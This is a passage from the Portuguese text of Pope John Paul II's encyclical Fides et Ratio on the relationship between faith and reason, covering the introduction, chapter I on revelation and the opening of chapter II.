Carta Encíclica – FIDES ET RATIO, João Paulo II

CARTA ENCÍCLICA

FIDES ET RATIO

DO SUMO PONTÍFICE

JOÃO PAULO II

AOS BISPOS DA IGREJA CATÓLICA

SOBRE AS RELAÇÕES

ENTRE FÉ E RAZÃO

Venerados Irmãos no Episcopado,

saúde e Bênção Apostólica!

A fé e a razão (fides et ratio) constituem como

que as duas asas pelas quais o espírito humano se eleva para a

contemplação da verdade. Foi Deus quem colocou no coração

do homem o desejo de conhecer a verdade e, em última análise,

de O conhecer a Ele, para que, conhecendo-O e amando-O, possa chegar também

à verdade plena sobre si próprio (cf. Ex 33, 18;

Sal 2726, 8-9; 6362, 2-3; Jo 14, 8; 1 Jo 3, 2).

INTRODUÇÃO

CONHECE-TE A TI MESMO

1. Tanto no Oriente como no Ocidente, é possível entrever

um caminho que, ao longo dos séculos, levou a humanidade a

encontrar-se progressivamente com a verdade e a confrontar-se com ela. É

um caminho que se realizou — nem podia ser de outro modo — no âmbito

da autoconsciência pessoal: quanto mais o homem conhece a realidade

e o mundo, tanto mais se conhece a si mesmo na sua unicidade, ao mesmo

tempo que nele se torna cada vez mais premente a questão do sentido

das coisas e da sua própria existência. O que chega a ser

objecto do nosso conhecimento, torna-se por isso mesmo parte da nossa

vida. A recomendação conhece-te a ti mesmo estava

esculpida no dintel do templo de Delfos, para testemunhar uma verdade

basilar que deve ser assumida como regra mínima de todo o homem que

deseje distinguir-se, no meio da criação inteira, pela sua

qualificação de « homem », ou seja, enquanto «conhecedor

de si mesmo ».

Aliás, basta um simples olhar pela história antiga para

ver com toda a clareza como surgiram simultaneamente, em diversas partes

da terra animadas por culturas diferentes, as questões fundamentais

que caracterizam o percurso da existência humana: Quem sou eu?

Donde venho e para onde vou? Porque existe o mal? O que é que

existirá depois desta vida? Estas perguntas encontram-se nos

escritos sagrados de Israel, mas aparecem também nos Vedas e no

Avestá; achamo-las tanto nos escritos de Confúcio e Lao-Tze,

como na pregação de Tirtankara e de Buda; e assomam ainda

quer nos poemas de Homero e nas tragédias de Eurípides e Sófocles,

quer nos tratados filosóficos de Platão e Aristóteles.

São questões que têm a sua fonte comum naquela exigência

de sentido que, desde sempre, urge no coração do homem: da

resposta a tais perguntas depende efectivamente a orientação

que se imprime à existência.

2. A Igreja não é alheia, nem pode sê-lo, a este

caminho de pesquisa. Desde que recebeu, no Mistério Pascal, o dom

da verdade última sobre a vida do homem, ela fez-se peregrina pelas

estradas do mundo, para anunciar que Jesus Cristo é « o

caminho, a verdade e a vida » (Jo 14, 6). De entre os vários

serviços que ela deve oferecer à humanidade, há um

cuja responsabilidade lhe cabe de modo absolutamente peculiar: é a

diaconia da verdade. (1) Por um lado, esta missão torna a

comunidade crente participante do esforço comum que a humanidade

realiza para alcançar a verdade, (2) e, por outro, obriga-a a

empenhar-se no anúncio das certezas adquiridas, ciente todavia de

que cada verdade alcançada é apenas mais uma etapa rumo àquela

verdade plena que se há–de manifestar na última revelação

de Deus: « Hoje vemos como por um espelho, de maneira confusa, mas

então veremos face a face. Hoje conheço de maneira

imperfeita, então conhecerei exactamente » (1 Cor 13,

12).

3. Variados são os recursos que o homem possui para progredir no

conhecimento da verdade, tornando assim cada vez mais humana a sua existência.

De entre eles sobressai a filosofia, cujo contributo específico

é colocar a questão do sentido da vida e esboçar a

resposta: constitui, pois, uma das tarefas mais nobres da humanidade. O

termo filosofia significa, segundo a etimologia grega, « amor à

sabedoria ». Efectivamente a filosofia nasceu e começou a

desenvolver-se quando o homem principiou a interrogar-se sobre o porquê

das coisas e o seu fim. Ela demonstra, de diferentes modos e formas, que o

desejo da verdade pertence à própria natureza do homem.

Interrogar-se sobre o porquê das coisas é uma propriedade

natural da sua razão, embora as respostas, que esta aos poucos vai

dando, se integrem num horizonte que evidencia a complementaridade das

diferentes culturas onde o homem vive.

A grande incidência que a filosofia teve na formação

e desenvolvimento das culturas do Ocidente não deve fazer-nos

esquecer a influência que a mesma exerceu também nos modos de

conceber a existência presentes no Oriente. Na realidade, cada povo

possui a sua própria sabedoria natural, que tende, como autêntica

riqueza das culturas, a exprimir-se e a maturar em formas propriamente

filosóficas. Prova da verdade de tudo isto é a existência

duma forma basilar de conhecimento filosófico, que perdura até

aos nossos dias e que se pode constatar nos próprios postulados em

que as várias legislações nacionais e internacionais

se inspiram para regular a vida social.

4. Deve-se assinalar, porém, que, por detrás dum único

termo, se escondem significados diferentes. Por isso, é necessária

uma explicitação preliminar. Impelido pelo desejo de

descobrir a verdade última da existência, o homem procura

adquirir aqueles conhecimentos universais que lhe permitam uma melhor

compreensão de si mesmo e progredir na sua realização.

Os conhecimentos fundamentais nascem da maravilha que nele suscita

a contemplação da criação: o ser humano

enche-se de encanto ao descobrir-se incluído no mundo e relacionado

com outros seres semelhantes, com quem partilha o destino. Parte daqui o

caminho que o levará, depois, à descoberta de horizontes de

conhecimentos sempre novos. Sem tal assombro, o homem tornar-se-ia

repetitivo e, pouco a pouco, incapaz de uma existência

verdadeiramente pessoal.

A capacidade reflexiva própria do intelecto humano permite

elaborar, através da actividade filosófica, uma forma de

pensamento rigoroso, e assim construir, com coerência lógica

entre as afirmações e coesão orgânica dos conteúdos,

um conhecimento sistemático. Graças a tal processo, alcançaram-se,

em contextos culturais diversos e em diferentes épocas históricas,

resultados que levaram à elaboração de verdadeiros

sistemas de pensamento. Historicamente isto gerou muitas vezes a tentação

de identificar uma única corrente com o pensamento filosófico

inteiro. Mas, nestes casos, é claro que entra em jogo uma certa «soberba

filosófica », que pretende arvorar em leitura universal a própria

perspectiva e visão imperfeita. Na realidade, cada sistema filosófico,

sempre no respeito da sua integridade e livre de qualquer instrumentalização,

deve reconhecer a prioridade do pensar filosófico de que

teve origem e ao qual deve coerentemente servir.

Neste sentido, é possível, não obstante a mudança

dos tempos e os progressos do saber, reconhecer um núcleo de

conhecimentos filosóficos, cuja presença é constante

na história do pensamento. Pense-se, só como exemplo, nos

princípios de não-contradição, finalidade,

causalidade, e ainda na concepção da pessoa como sujeito

livre e inteligente, e na sua capacidade de conhecer Deus, a verdade, o

bem; pense-se, além disso, em algumas normas morais fundamentais

que geralmente são aceites por todos. Estes e outros temas indicam

que, para além das correntes de pensamento, existe um conjunto de

conhecimentos, nos quais é possível ver uma espécie

de património espiritual da humanidade. É como se nos

encontrássemos perante uma filosofia implícita, em

virtude da qual cada um sente que possui estes princípios, embora

de forma genérica e não reflectida. Estes conhecimentos,

precisamente porque partilhados em certa medida por todos, deveriam

constituir uma espécie de ponto de referência para as

diversas escolas filosóficas. Quando a razão consegue intuir

e formular os princípios primeiros e universais do ser, e deles

deduzir correcta e coerentemente conclusões de ordem lógica

e deontológica, então pode-se considerar uma razão

recta, ou, como era chamada pelos antigos, orthòs logos,

recta ratio.

5. A Igreja, por sua vez, não pode deixar de apreciar o esforço

da razão na consecução de objectivos que tornem cada

vez mais digna a existência pessoal. Na verdade, ela vê, na

filosofia, o caminho para conhecer verdades fundamentais relativas à

existência do homem. Ao mesmo tempo, considera a filosofia uma ajuda

indispensável para aprofundar a compreensão da fé e

comunicar a verdade do Evangelho a quantos não a conhecem ainda.

Na sequência de iniciativas análogas dos meus

Predecessores, desejo também eu debruçar-me sobre esta

actividade peculiar da razão. Faço-o movido pela constatação,

sobretudo em nossos dias, de que a busca da verdade última aparece

muitas vezes ofuscada. A filosofia moderna possui, sem dúvida, o

grande mérito de ter concentrado a sua atenção sobre

o homem. Partindo daí, uma razão cheia de interrogativos

levou por diante o seu desejo de conhecer sempre mais ampla e

profundamente. Desta forma, foram construídos sistemas de

pensamento complexos, que deram os seus frutos nos diversos âmbitos

do conhecimento, favorecendo o progresso da cultura e da história.

A antropologia, a lógica, as ciências da natureza, a história,

a linguística, de algum modo todo o universo do saber foi abarcado.

Todavia, os resultados positivos alcançados não devem levar

a transcurar o facto de que essa mesma razão, porque ocupada a

investigar de maneira unilateral o homem como objecto, parece ter-se

esquecido de que este é sempre chamado a voltar-se também

para uma realidade que o transcende. Sem referência a esta, cada um

fica ao sabor do livre arbítrio, e a sua condição de

pessoa acaba por ser avaliada com critérios pragmáticos

baseados essencialmente sobre o dado experimental, na errada convicção

de que tudo deve ser dominado pela técnica. Foi assim que a razão,

sob o peso de tanto saber, em vez de exprimir melhor a tensão para

a verdade, curvou-se sobre si mesma, tornando-se incapaz, com o passar do

tempo, de levantar o olhar para o alto e de ousar atingir a verdade do

ser. A filosofia moderna, esquecendo-se de orientar a sua pesquisa para o

ser, concentrou a própria investigação sobre o

conhecimento humano. Em vez de se apoiar sobre a capacidade que o homem

tem de conhecer a verdade, preferiu sublinhar as suas limitações

e condicionalismos.

Daí provieram várias formas de agnosticismo e relativismo,

que levaram a investigação filosófica a perder-se nas

areias movediças dum cepticismo geral. E, mais recentemente,

ganharam relevo diversas doutrinas que tendem a desvalorizar até

mesmo aquelas verdades que o homem estava certo de ter alcançado. A

legítima pluralidade de posições cedeu o lugar a um

pluralismo indefinido, fundado no pressuposto de que todas as posições

são equivalentes: trata-se de um dos sintomas mais difusos, no

contexto actual, de desconfiança na verdade. E esta ressalva vale

também para certas concepções de vida originárias

do Oriente: é que negam à verdade o seu carácter

exclusivo, ao partirem do pressuposto de que ela se manifesta de modo

igual em doutrinas diversas ou mesmo contraditórias entre si. Neste

horizonte, tudo fica reduzido a mera opinião. Dá a impressão

de um movimento ondulatório: enquanto, por um lado, a razão

filosófica conseguiu avançar pela estrada que a torna cada

vez mais atenta à existência humana e às suas formas

de expressão, por outro tende a desenvolver considerações

existenciais, hermenêuticas ou linguísticas, que prescindem

da questão radical relativa à verdade da vida pessoal, do

ser e de Deus. Como consequência, despontaram, não só

em alguns filósofos mas no homem contemporâneo em geral,

atitudes de desconfiança generalizada quanto aos grandes recursos

cognoscitivos do ser humano. Com falsa modéstia, contentam-se de

verdades parciais e provisórias, deixando de tentar pôr as

perguntas radicais sobre o sentido e o fundamento último da vida

humana, pessoal e social. Em suma, esmoreceu a esperança de se

poder receber da filosofia respostas definitivas a tais questões.

6. Credenciada pelo facto de ser depositária da revelação

de Jesus Cristo, a Igreja deseja reafirmar a necessidade da reflexão

sobre a verdade. Foi por este motivo que decidi dirigir-me a vós,

venerados Irmãos no Episcopado, com quem partilho a missão

de anunciar « abertamente a verdade » (2 Cor 4, 2), e

dirigir-me também aos teólogos e filósofos a quem

compete o dever de investigar os diversos aspectos da verdade, e ainda a

quantos andam à procura duma resposta, para comunicar algumas

reflexões sobre o caminho que conduz à verdadeira sabedoria,

a fim de que todo aquele que tiver no coração o amor por ela

possa tomar a estrada certa para a alcançar, e nela encontrar

repouso para a sua fadiga e também satisfação

espiritual.

Tomo esta iniciativa impelido, antes de mais, pela certeza de que os

Bispos, como assinala o Concílio Vaticano II, são «

testemunhas da verdade divina e católica » (3). Por isso,

testemunhar a verdade é um encargo que nos foi confiado a nós,

os Bispos; não podemos renunciar a ele, sem faltar ao ministério

que recebemos. Reafirmando a verdade da fé, podemos restituir ao

homem de hoje uma genuína confiança nas suas capacidades

cognoscitivas e oferecer à filosofia um estímulo para poder

recuperar e promover a sua plena dignidade.

Há um segundo motivo que me induz a escrever estas reflexões

Na carta encíclica Veritatis splendor, chamei a atenção

para « algumas verdades fundamentais da doutrina católica que,

no contexto actual, correm o risco de serem deformadas ou negadas ».

(4) Com este novo documento, desejo continuar aquela reflexão,

concentrando a atenção precisamente sobre o tema da verdade

e sobre o seu fundamento em relação com a .

De facto, não se pode negar que este período, de mudanças

rápidas e complexas, deixa sobretudo os jovens, a quem pertence e

de quem depende o futuro, na sensação de estarem privados de

pontos de referência autênticos. A necessidade de um alicerce

sobre o qual construir a existência pessoal e social faz-se sentir

de maneira premente, principalmente quando se é obrigado a

constatar o carácter fragmentário de propostas que elevam o

efémero ao nível de valor, iludindo assim a possibilidade de

se alcançar o verdadeiro sentido da existência. Deste modo,

muitos arrastam a sua vida quase até à borda do precipício,

sem saber o que os espera. Isto depende também do facto de, às

vezes, quem era chamado por vocação a exprimir em formas

culturais o fruto da sua reflexão, ter desviado o olhar da verdade,

preferindo o sucesso imediato ao esforço duma paciente investigação

sobre aquilo que merece ser vivido. A filosofia, que tem a grande

responsabilidade de formar o pensamento e a cultura através do

apelo perene à busca da verdade, deve recuperar vigorosamente a sua

vocação originária. É por isso que senti a

necessidade e o dever de intervir sobre este tema, para que, no limiar do

terceiro milénio da era cristã, a humanidade tome consciência

mais clara dos grandes recursos que lhe foram concedidos, e se empenhe com

renovada coragem no cumprimento do plano de salvação, no

qual está inserida a sua história.

CAPÍTULO I

A REVELAÇÃO

DA SABEDORIA DE DEUS

1. Jesus, revelador do Pai

7. Na base de toda a reflexão feita pela Igreja, está a

consciência de ser depositária duma mensagem, que tem a sua

origem no próprio Deus (cf. 2 Cor 4, 1-2). O conhecimento

que ela propõe ao homem, não provém de uma reflexão

sua, nem sequer da mais alta, mas de ter acolhido na fé a palavra

de Deus (cf. 1 Tes 2, 13). Na origem do nosso ser crentes existe

um encontro, único no seu género, que assinala a abertura de

um mistério escondido durante tantos séculos (cf. 1 Cor

2, 7; Rom 16, 25-26), mas agora revelado: « Aprouve a

Deus, na sua bondade e sabedoria, revelar-Se a Si mesmo e dar a conhecer o

mistério da sua vontade (cf. Ef 1, 9), segundo o qual os

homens, por meio de Cristo, Verbo encarnado, têm acesso ao Pai no

Espírito Santo e se tornam participantes da natureza divina ».

(5) Trata-se de uma iniciativa completamente gratuita, que parte de Deus e

vem ao encontro da humanidade para a salvar. Enquanto fonte de amor, Deus

deseja dar-Se a conhecer, e o conhecimento que o homem adquire d’Ele leva

à plenitude qualquer outro conhecimento verdadeiro que a sua mente

seja capaz de alcançar sobre o sentido da própria existência.

8. Retomando quase literalmente a doutrina presente na constituição

Dei Filius do Concílio Vaticano I e tendo em conta os princípios

propostos pelo Concílio de Trento, a constituição

Dei Verbum do Vaticano II continuou aquele caminho plurissecular

de compreensão da fé, reflectindo sobre a Revelação

à luz da doutrina bíblica e de toda a tradição

patrística. No primeiro Concílio do Vaticano, os Padres

tinham sublinhado o carácter sobrenatural da revelação

de Deus. A crítica racionalista que então se fazia sentir

contra a fé, baseada em teses erradas mas muito difusas, insistia

sobre a negação de qualquer conhecimento que não

fosse fruto das capacidades naturais da razão. Isto obrigara o Concílio

a reafirmar vigorosamente que, além do conhecimento da razão

humana, por sua natureza, capaz de chegar ao Criador, existe um

conhecimento que é peculiar da fé. Este conhecimento exprime

uma verdade que se funda precisamente no facto de Deus que Se revela, e é

uma verdade certíssima porque Deus não Se engana nem quer

enganar. (6)

9. Por isso, o Concílio Vaticano I ensina que a verdade alcançada

pela via da reflexão filosófica e a verdade da Revelação

não se confundem, nem uma torna a outra supérflua: «

Existem duas ordens de conhecimento, diversas não apenas pelo seu

princípio, mas também pelo objecto. Pelo seu princípio,

porque, se num conhecemos pela razão natural, no outro fazêmo-lo

por meio da fé divina; pelo objecto, porque, além das

verdades que a razão natural pode compreender, é-nos

proposto ver os mistérios escondidos em Deus, que só podem

ser conhecidos se nos forem revelados do Alto ». (7) A fé, que

se fundamenta no testemunho de Deus e conta com a ajuda sobrenatural da

graça, pertence efectivamente a uma ordem de conhecimento diversa

da do conhecimento filosófico. De facto, este assenta sobre a

percepção dos sentidos, sobre a experiência, e move-se

apenas com a luz do intelecto. A filosofia e as ciências situam-se

na ordem da razão natural, enquanto a fé, iluminada e guiada

pelo Espírito, reconhece na mensagem da salvação a «

plenitude de graça e de verdade » (cf. Jo 1, 14) que

Deus quis revelar na história, de maneira definitiva, por meio do

seu Filho Jesus Cristo (cf. 1 Jo 5, 9; Jo 5, 31-32).

10. No Concílio Vaticano II, os Padres, fixando a atenção

sobre Jesus revelador, ilustraram o carácter salvífico da

revelação de Deus na história e exprimiram a sua

natureza do seguinte modo: « Em virtude desta revelação,

Deus invisível (cf. Col 1, 15; 1 Tim 1, 17), na

riqueza do seu amor, fala aos homens como amigos (cf. Ex 33, 11;

Jo 15, 14-15) e convive com eles (cf. Bar 3, 38), para os

convidar e admitir à comunhão com Ele. Esta economia da

Revelação realiza-se por meio de acções e

palavras intimamente relacionadas entre si, de tal maneira que as obras,

realizadas por Deus na história da salvação,

manifestam e confirmam a doutrina e as realidades significadas pelas

palavras; e as palavras, por sua vez, declaram as obras e esclarecem o

mistério nelas contido. Porém, a verdade profunda tanto a

respeito de Deus como a respeito da salvação dos homens

manifesta-se-nos, por esta Revelação, em Cristo, que é

simultaneamente o mediador e a plenitude de toda a revelação

». (8)

11. Assim, a revelação de Deus entrou no tempo e na história.

Mais, a encarnação de Jesus Cristo realiza-se na «

plenitude dos tempos » (Gal 4, 4). À distância

de dois mil anos deste acontecimento, sinto o dever de reafirmar

intensamente que, « no cristianismo, o tempo tem uma importância

fundamental ». (9) Com efeito, é nele que tem lugar toda a

obra da criação e da salvação, e sobretudo

merece destaque o facto de que, com a encarnação do Filho de

Deus, vivemos e antecipamos desde já aquilo que se seguirá

ao fim dos tempos (cf. Heb 1, 2).

A verdade que Deus confiou ao homem a respeito de Si mesmo e da sua vida

insere-se, portanto, no tempo e na história. Sem dúvida,

aquela foi pronunciada uma vez por todas no mistério de Jesus de

Nazaré. Afirma-o, com palavras muito expressivas, a constituição

Dei Verbum: « Depois de ter falado muitas vezes e de muitos

modos pelos profetas, falou-nos Deus nestes nossos dias, que são os

últimos, através de seu Filho (Heb 1, 1-2). Com

efeito, enviou o seu Filho, isto é, o Verbo eterno, que ilumina

todos os homens, para habitar entre os homens e manifestar-lhes a vida íntima

de Deus (cf. Jo 1, 1-18). Jesus Cristo, Verbo feito carne, enviado

como homem para os homens, "fala, portanto, as palavras de Deus"

(Jo 3, 34) e consuma a obra de salvação que o Pai

Lhe mandou realizar (cf. Jo 5, 36; 17, 4). Por isso, Ele — vê-l’O

a Ele é ver o Pai (cf. Jo 14, 9) —, com toda a sua

presença e manifestação da sua pessoa, com palavras e

obras, sinais e milagres, e sobretudo com a sua morte e gloriosa ressurreição,

e enfim, com o envio do Espírito de verdade, completa totalmente e

confirma com o testemunho divino a Revelação ». (10)

Assim, a história constitui um caminho que o Povo de Deus há-de

percorrer inteiramente, de tal modo que a verdade revelada possa exprimir

em plenitude os seus conteúdos, graças à acção

incessante do Espírito Santo (cf. Jo 16, 13). Ensina-o também

a constituição Dei Verbum, quando afirma que «

a Igreja, no decurso dos séculos, tende continuamente para a

plenitude da verdade divina, até que nela se realizem as palavras

de Deus ». (11)

12. A história torna-se, assim, o lugar onde podemos constatar a

acção de Deus em favor da humanidade. Ele vem ter connosco,

servindo-Se daquilo que nos é mais familiar e mais fácil de

verificar, ou seja, o nosso contexto quotidiano, fora do qual não

conseguiríamos entender-nos.

A encarnação do Filho de Deus permite ver realizada uma síntese

definitiva que a mente humana, por si mesma, nem sequer poderia imaginar:

o Eterno entra no tempo, o Tudo esconde-se no fragmento, Deus assume o

rosto do homem. Deste modo, a verdade expressa na revelação

de Cristo deixou de estar circunscrita a um restrito âmbito

territorial e cultural, abrindo-se a todo o homem e mulher que a queira

acolher como palavra definitivamente válida para dar sentido à

existência. Agora todos têm acesso ao Pai, em Cristo; de

facto, com a sua morte e ressurreição, Ele concedeu-nos a

vida divina que o primeiro Adão tinha rejeitado (cf. Rom 5,

12-15). Com esta Revelação, é oferecida ao homem a

verdade última a respeito da própria vida e do destino da

história: « Na realidade, o mistério do homem só

no mistério do Verbo encarnado se esclarece verdadeiramente »,

afirma a constituição Gaudium et spes. (12) Fora

desta perspectiva, o mistério da existência pessoal permanece

um enigma insolúvel. Onde poderia o homem procurar resposta para

questões tão dramáticas como a dor, o sofrimento do

inocente e a morte, a não ser na luz que dimana do mistério

da paixão, morte e ressurreição de Cristo?

2. A razão perante o mistério

13. Entretanto, não se pode esquecer que a Revelação

permanece envolvida no mistério. Jesus, com toda a sua vida, revela

seguramente o rosto do Pai, porque Ele veio para manifestar os segredos de

Deus; (13) e contudo, o conhecimento que possuímos daquele rosto,

está marcado sempre pelo carácter parcial e limitado da

nossa compreensão. Somente a fé permite entrar dentro do

mistério, proporcionando uma sua compreensão coerente.

O Concílio ensina que, « a Deus que revela, é devida

a obediência da fé ». (14) Com esta breve mas densa

afirmação, é indicada uma verdade fundamental do

cristianismo. Diz-se, em primeiro lugar, que a fé é uma

resposta de obediência a Deus. Isto implica que Ele seja reconhecido

na sua divindade, transcendência e liberdade suprema. Deus que Se dá

a conhecer na autoridade da sua transcendência absoluta, traz

consigo também a credibilidade dos conteúdos que revela.

Pela fé, o homem presta assentimento a esse testemunho

divino. Isto significa que reconhece plena e integralmente a verdade de

tudo o que foi revelado, porque é o próprio Deus que o

garante. Esta verdade, oferecida ao homem sem que ele a possa exigir,

insere-se no horizonte da comunicação interpessoal e impele

a razão a abrir-se a esta e a acolher o seu sentido profundo. É

por isso que o acto pelo qual nos entregamos a Deus, sempre foi

considerado pela Igreja como um momento de opção

fundamental, que envolve a pessoa inteira. Inteligência e vontade põem

em acção o melhor da sua natureza espiritual, para consentir

que o sujeito realize um acto no pleno exercício da sua liberdade

pessoal. (15) Na fé, portanto, não basta a liberdade estar

presente, exige-se que entre em acção. Mais, é a fé

que permite a cada um exprimir, do melhor modo, a sua própria

liberdade. Por outras palavras, a liberdade não se realiza nas opções

contra Deus. Na verdade, como poderia ser considerado um uso autêntico

da liberdade, a recusa de se abrir àquilo que permite a realização

de si mesmo? No acreditar é que a pessoa realiza o acto mais

significativo da sua existência; de facto, nele a liberdade alcança

a certeza da verdade e decide viver nela.

Em auxílio da razão, que procura a compreensão do

mistério, vêm também os sinais presentes na Revelação.

Estes servem para conduzir mais longe a busca da verdade e permitir que a

mente possa autonomamente investigar inclusive dentro do mistério.

De qualquer modo, se, por um lado, esses sinais dão maior força

à razão, porque lhe permitem pesquisar dentro do mistério

com os seus próprios meios, de que ela justamente se sente ciosa,

por outro lado, impelem-na a transcender a sua realidade de sinais para

apreender o significado ulterior de que eles são portadores.

Portanto, já há neles uma verdade escondida, para a qual

encaminham a mente e da qual esta não pode prescindir sem destruir

o próprio sinal que lhe foi proposto.

Chega-se, assim, ao horizonte sacramental da Revelação

e de forma particular ao sinal eucarístico, onde a união

indivisível entre a realidade e o respectivo significado permite

identificar a profundidade do mistério. Na Eucaristia, Cristo está

verdadeiramente presente e vivo, actua pelo seu Espírito, mas, como

justamente diz S. Tomás, « nada vês nem compreendes, mas

t’o afirma a fé mais viva, para além das leis da Terra. Sob

espécies diferentes, que não passam de sinais, é que

está o dom de Deus ». (16) Temos um eco disto mesmo nas

seguintes palavras do filósofo Pascal: « Como Jesus Cristo

passou despercebido no meio dos homens, assim a sua verdade permanece,

entre as opiniões comuns, sem diferença exterior. O mesmo se

dá com a Eucaristia relativamente ao pão comum ».(17)

Em resumo, o conhecimento da fé não anula o mistério;

torna-o apenas mais evidente e apresenta-o como um facto essencial para a

vida do homem: Cristo Senhor, « na própria revelação

do mistério do Pai e do seu amor, revela o homem a si mesmo e

descobre-lhe a sua vocação sublime », (18) que é

participar no mistério da vida trinitária de Deus. (19)

14. A doutrina do primeiro e segundo Concílio do Vaticano abre um

horizonte verdadeiramente novo também ao saber filosófico. A

Revelação coloca dentro da história um ponto de referência

de que o homem não pode prescindir, se quiser chegar a compreender

o mistério da sua existência; mas, por outro lado, este

conhecimento apela constantemente para o mistério de Deus que a

mente não consegue abarcar, mas apenas receber e acolher na fé.

Entre estes dois momentos, a razão possui o seu espaço

peculiar que lhe permite investigar e compreender, sem ser limitada por

nada mais que a sua finitude ante o mistério infinito de Deus.

A Revelação introduz, portanto, na nossa história

uma verdade universal e última que leva a mente do homem a nunca

mais se deter; antes, impele-a a ampliar continuamente os espaços

do próprio conhecimento até sentir que realizou tudo o que

estava ao seu alcance, sem nada descurar. Ajuda-nos, nesta reflexão,

uma das inteligências mais fecundas e significativas da história

da humanidade, à qual obrigatoriamente fazem referência a

filosofia e a teologia: Santo Anselmo. Na sua obra, Proslogion, o

Arcebispo de Cantuária exprime-se assim: « Detendo-me com

frequência e atenção a pensar neste problema, sucedia

umas vezes que me parecia estar para agarrar o que buscava, outras vezes,

pelo contrário, furtava-se completamente ao meu pensamento; até

que finalmente, desesperado de o poder achar, decidi deixar de procurar

algo que me era impossível encontrar. Mas, quando quis afastar de

mim tal pensamento para que a sua ocupação da minha mente não

me alheasse de outros problemas de que podia tirar algum proveito, foi então

que começou a apresentar-se cada vez mais teimoso. (…) Mas, pobre

de mim, um dos pobres filhos de Eva, longe de Deus, o que é que

comecei a fazer e o que é que consegui? O que é que visava e

a que ponto cheguei? A que é que aspirava e por que é que

suspiro? (…) Ó Senhor, Vós não sois apenas algo

acerca do qual não se pode pensar nada de maior (non solum es

quo maius cogitari nequit), mas sois maior de tudo o que se possa

pensar (quiddam maius quam cogitari possit) (…). Se não fôsseis

o que sois, poder-se-ia pensar algo maior do que Vós, mas isso é

impossível ». (20)

15. A verdade da revelação cristã, que se encontra

em Jesus de Nazaré, permite a quemquer que seja perceber o «

mistério » da própria vida. Enquanto verdade suprema,

ao mesmo tempo que respeita a autonomia da criatura e a sua liberdade,

obriga-a a abrir-se à transcendência. Aqui, a relação

entre liberdade e verdade atinge o seu máximo grau, podendo-se

compreender plenamente esta palavra do Senhor: « Conhecereis a

verdade e a verdade libertar-vos-á » (Jo 8, 32).

A revelação cristã é a verdadeira estrela de

orientação para o homem, que avança por entre os

condicionalismos da mentalidade imanentista e os reducionismos duma lógica

tecnocrática; é a última possibilidade oferecida por

Deus, para reencontrar em plenitude aquele projecto primordial de amor que

teve início com a criação. Ao homem ansioso de

conhecer a verdade — se ainda é capaz de ver para além

de si mesmo e levantar os olhos acima dos seus próprios projectos —

é-lhe concedida a possibilidade de recuperar a genuína relação

com a sua vida, seguindo a estrada da verdade. Podem-se aplicar a esta

situação as seguintes palavras do Deuteronómio: «

A lei que hoje te imponho não está acima das tuas forças

nem fora do teu alcance. Não está no céu, para que

digas: "Quem subirá por nós ao céu e no-la irá

buscar?" Não está tão pouco do outro lado do

mar, para que digas: "Quem atravessará o mar para no-la buscar

e no-la fazer ouvir para que a observemos?" Não, ela está

muito perto de ti: está na tua boca e no teu coração;

e tu podes cumpri-la » (30, 11-14). Temos um eco deste texto no

famoso pensamento do filósofo e teólogo Santo Agostinho: «

Noli foras ire, in te ipsum redi. In interiore homine habitat veritas

». (21)

À luz destas considerações, impõe-se uma

primeira conclusão: a verdade que a Revelação nos dá

a conhecer não é o fruto maduro ou o ponto culminante dum

pensamento elaborado pela razão. Pelo contrário, aquela

apresenta-se com a característica da gratuidade, obriga a pensá-la,

e pede para ser acolhida, como expressão de amor. Esta verdade

revelada é a presença antecipada na nossa história

daquela visão última e definitiva de Deus, que está

reservada para quantos acreditam n’Ele ou O procuram de coração

sincero. Assim, o fim último da existência pessoal é

objecto de estudo quer da filosofia, quer da teologia. Embora com meios e

conteúdos diversos, ambas apontam para aquele « caminho da

vida » (Sal 1615, 11) que, segundo nos diz a fé, tem o

seu termo último de chegada na alegria plena e duradoura da

contemplação de Deus Uno e Trino.

CAPÍTULO II

CREDO UT INTELLEGAM

1. « A sabedoria sabe e compreende todas as coisas»

(Sab9, 11)

16. Quão profunda seja a ligação entre o

conhecimento da fé e o da razão, já a Sagrada

Escritura no-lo indica com elementos de uma clareza surpreendente.

Comprovam-no sobretudo os Livros Sapienciais. O que impressiona na

leitura, feita sem preconceitos, dessas páginas da Sagrada

Escritura é o facto de estes textos conterem não apenas a fé

de Israel, mas também o tesouro de civilizações e

culturas já desaparecidas. Como se de um desígnio particular

se tratasse, o Egipto e a Mesopotâmia fazem ouvir novamente a sua

voz, e alguns traços comuns das culturas do Antigo Oriente

ressurgem nestas páginas ricas de intuições

singularmente profundas.

Não é por acaso que o autor sagrado, ao querer descrever o

homem sábio, o apresenta como aquele que ama e busca a verdade: «

Feliz o homem que é constante na sabedoria, e que discorre com a

sua inteligência; que repassa no seu coração os

caminhos da sabedoria, e que penetra no conhecimento dos seus segredos;

vai atrás dela como quem lhe segue o rasto, e permanece nos seus

caminhos; olha pelas suas janelas, e escuta às suas portas; repousa

junto da sua morada, e fixa um pilar nas suas paredes; levanta a sua tenda

junto dela, e estabelece ali agradável morada; coloca os seus

filhos debaixo da sua protecção, e ele mesmo morará

debaixo dos seus ramos; à sua sombra estará defendido do

calor, e repousará na sua glória » (Sir 14,

20-27).

Para o autor inspirado, como se vê, o desejo de conhecer é

uma característica comum a todos os homens. Graças à

inteligência, é dada a todos, crentes e descrentes, a

possibilidade de « saciarem-se nas águas profundas » do

conhecimento (cf. Prov 20, 5). Seguramente, no Antigo Israel, o

conhecimento do mundo e dos seus fenómenos não se realizava

pela via da abstracção, como já o fazia o filósofo

jónico ou o sábio egípcio. E menos ainda podia o bom

israelita conceber o conhecimento nos parâmetros próprios da época

moderna, mais propensa à subdivisão do saber. Apesar disso,

o mundo bíblico fez confluir, para o grande mar da teoria do

conhecimento, o seu contributo original.

Qual? O carácter peculiar do texto bíblico reside na

convicção de que existe uma unidade profunda e indivisível

entre o conhecimento da razão e o da fé. O mundo e o que

nele acontece, assim como a história e as diversas vicissitudes da

nação são realidades observadas, analisadas e

julgadas com os meios próprios da razão, mas sem deixar a fé

alheia a este processo. Esta não intervém para humilhar a

autonomia da razão, nem para reduzir o seu espaço de acção,

mas apenas para fazer compreender ao homem que, em tais acontecimentos, Se

torna visível e actua o Deus de Israel. Assim, não é

possível conhecer profundamente o mundo e os factos da história,

sem ao mesmo tempo professar a fé em Deus que neles actua. A fé

aperfeiçoa o olhar interior, abrindo a mente para descobrir, no

curso dos acontecimentos, a presença operante da Providência.

A tal propósito, é significativa uma expressão do

livro dos Provérbios: « A mente do homem dispõe o seu

caminho, mas é o Senhor quem dirige os seus passos » (16, 9). É

como se dissesse que o homem, pela luz da razão, pode reconhecer a

